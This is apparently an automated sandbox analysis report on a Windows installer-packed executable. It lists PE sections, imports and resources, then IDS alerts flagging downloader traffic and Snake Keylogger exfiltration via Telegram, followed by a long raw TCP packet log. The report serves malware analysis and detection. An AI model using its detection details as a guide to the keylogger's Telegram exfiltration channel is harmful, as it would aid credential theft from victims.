cmp eax, ebx
je 00007FEE2CACEA41h
push 0000001Eh
call eax
test eax, eax
je 00007FEE2CACEA39h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:16:56.799124+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49795	142.250.184.206	443	TCP
2025-01-10T21:17:01.773424+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49827	193.122.6.168	80	TCP
2025-01-10T21:17:09.914055+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49827	193.122.6.168	80	TCP
2025-01-10T21:17:10.539561+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49877	149.154.167.220	443	TCP
2025-01-10T21:17:10.874170+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49877	149.154.167.220	443	TCP
2025-01-10T21:17:11.789066+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49888	132.226.247.73	80	TCP
2025-01-10T21:17:12.347630+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49893	149.154.167.220	443	TCP
2025-01-10T21:17:12.691079+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49893	149.154.167.220	443	TCP
2025-01-10T21:17:14.000023+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49906	149.154.167.220	443	TCP
2025-01-10T21:17:14.330984+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49906	149.154.167.220	443	TCP
2025-01-10T21:17:15.637564+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49918	149.154.167.220	443	TCP
2025-01-10T21:17:15.992211+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49918	149.154.167.220	443	TCP
2025-01-10T21:17:17.310980+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49930	149.154.167.220	443	TCP
2025-01-10T21:17:17.899459+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49930	149.154.167.220	443	TCP
2025-01-10T21:17:19.197370+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49946	149.154.167.220	443	TCP
2025-01-10T21:17:19.567198+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49946	149.154.167.220	443	TCP
2025-01-10T21:17:20.887708+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49958	149.154.167.220	443	TCP
2025-01-10T21:17:21.272538+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49958	149.154.167.220	443	TCP
2025-01-10T21:17:22.602991+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49971	149.154.167.220	443	TCP
2025-01-10T21:17:22.988453+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49971	149.154.167.220	443	TCP
2025-01-10T21:17:24.335626+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49983	149.154.167.220	443	TCP
2025-01-10T21:17:24.707595+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49983	149.154.167.220	443	TCP
2025-01-10T21:17:26.018875+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49996	149.154.167.220	443	TCP
2025-01-10T21:17:26.409909+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49996	149.154.167.220	443	TCP
2025-01-10T21:17:30.627335+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49998	149.154.167.220	443	TCP
2025-01-10T21:17:30.991256+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49998	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:16:55.769213915 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:55.769247055 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:55.769306898 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:55.780404091 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:55.780427933 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.424391985 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.424479961 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:56.426244974 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.426306009 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:56.479101896 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:56.479134083 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.479639053 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.479706049 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:56.483421087 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:56.527334929 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.799123049 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.800066948 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.800220966 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:56.801635981 CET	49795	443	192.168.2.8	142.250.184.206
Jan 10, 2025 21:16:56.801662922 CET	443	49795	142.250.184.206	192.168.2.8
Jan 10, 2025 21:16:56.852108955 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:16:56.852158070 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:16:56.852256060 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:16:56.852544069 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:16:56.852559090 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:16:57.506761074 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:16:57.506979942 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:16:57.512111902 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:16:57.512140989 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:16:57.512387037 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:16:57.515575886 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:16:57.515950918 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:16:57.563324928 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.231838942 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.231904984 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.233050108 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.233114958 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.245717049 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.245794058 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.245804071 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.245840073 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.251971006 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.252049923 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.322345018 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.322402954 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.322417974 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.322454929 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.322458982 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.322472095 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.322501898 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.322540045 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.322577000 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.322621107 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.322765112 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.322810888 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.322817087 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.322861910 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.329133987 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.329190016 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.329199076 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.329243898 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.335395098 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.335455894 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.335464954 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.335514069 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.341726065 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.341793060 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.341799974 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.341835976 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.348000050 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.348079920 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.348087072 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.348124981 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.354404926 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.354479074 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.354485989 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.354522943 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.360124111 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.360212088 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.360225916 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.360265970 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.366039991 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.366101027 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.366107941 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.366147995 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.371841908 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.371900082 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.371913910 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.371958017 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.377548933 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.377607107 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.386321068 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.386384010 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.386392117 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.386430979 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.412925005 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413001060 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413036108 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413049936 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.413060904 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413075924 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.413124084 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.413157940 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413197994 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.413211107 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413252115 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.413491011 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413542986 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.413553953 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413599014 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.413605928 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413645983 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.413650990 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.413692951 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.414138079 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.414192915 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.414197922 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.414242029 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.419682026 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.419792891 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.419814110 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.419852972 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.424460888 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.424524069 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.424549103 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.424592972 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.429414988 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.429496050 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.429513931 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.429554939 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.434007883 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.434077978 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.434099913 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.434138060 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.438699007 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.438745975 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.438754082 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.438791990 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.443387985 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.443478107 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.443484068 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.443523884 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.448013067 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.448076963 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.448084116 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.448121071 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.452655077 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.452696085 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.452701092 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.452748060 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.457309961 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.457370996 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.457376957 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.457410097 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.461725950 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.461776018 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.461781025 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.461819887 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.465956926 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.466016054 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.466022968 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.466063976 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.466068983 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.466114044 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.466119051 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.466161966 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.466169119 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.466178894 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.466200113 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.466208935 CET	443	49801	142.250.184.193	192.168.2.8
Jan 10, 2025 21:17:00.466233969 CET	49801	443	192.168.2.8	142.250.184.193
Jan 10, 2025 21:17:00.856647968 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:00.861438036 CET	80	49827	193.122.6.168	192.168.2.8
Jan 10, 2025 21:17:00.861502886 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:00.861711979 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:00.866471052 CET	80	49827	193.122.6.168	192.168.2.8
Jan 10, 2025 21:17:01.515934944 CET	80	49827	193.122.6.168	192.168.2.8
Jan 10, 2025 21:17:01.530189991 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:01.535098076 CET	80	49827	193.122.6.168	192.168.2.8
Jan 10, 2025 21:17:01.733083010 CET	80	49827	193.122.6.168	192.168.2.8
Jan 10, 2025 21:17:01.773423910 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:03.228966951 CET	49843	443	192.168.2.8	104.21.48.1
Jan 10, 2025 21:17:03.228996992 CET	443	49843	104.21.48.1	192.168.2.8
Jan 10, 2025 21:17:03.229057074 CET	49843	443	192.168.2.8	104.21.48.1
Jan 10, 2025 21:17:03.232363939 CET	49843	443	192.168.2.8	104.21.48.1
Jan 10, 2025 21:17:03.232374907 CET	443	49843	104.21.48.1	192.168.2.8
Jan 10, 2025 21:17:03.698580980 CET	443	49843	104.21.48.1	192.168.2.8
Jan 10, 2025 21:17:03.698679924 CET	49843	443	192.168.2.8	104.21.48.1
Jan 10, 2025 21:17:03.717092991 CET	49843	443	192.168.2.8	104.21.48.1
Jan 10, 2025 21:17:03.717118025 CET	443	49843	104.21.48.1	192.168.2.8
Jan 10, 2025 21:17:03.717473030 CET	443	49843	104.21.48.1	192.168.2.8
Jan 10, 2025 21:17:03.743784904 CET	49843	443	192.168.2.8	104.21.48.1
Jan 10, 2025 21:17:03.787326097 CET	443	49843	104.21.48.1	192.168.2.8
Jan 10, 2025 21:17:03.871495962 CET	443	49843	104.21.48.1	192.168.2.8
Jan 10, 2025 21:17:03.871563911 CET	443	49843	104.21.48.1	192.168.2.8
Jan 10, 2025 21:17:03.871665955 CET	49843	443	192.168.2.8	104.21.48.1
Jan 10, 2025 21:17:03.911474943 CET	49843	443	192.168.2.8	104.21.48.1
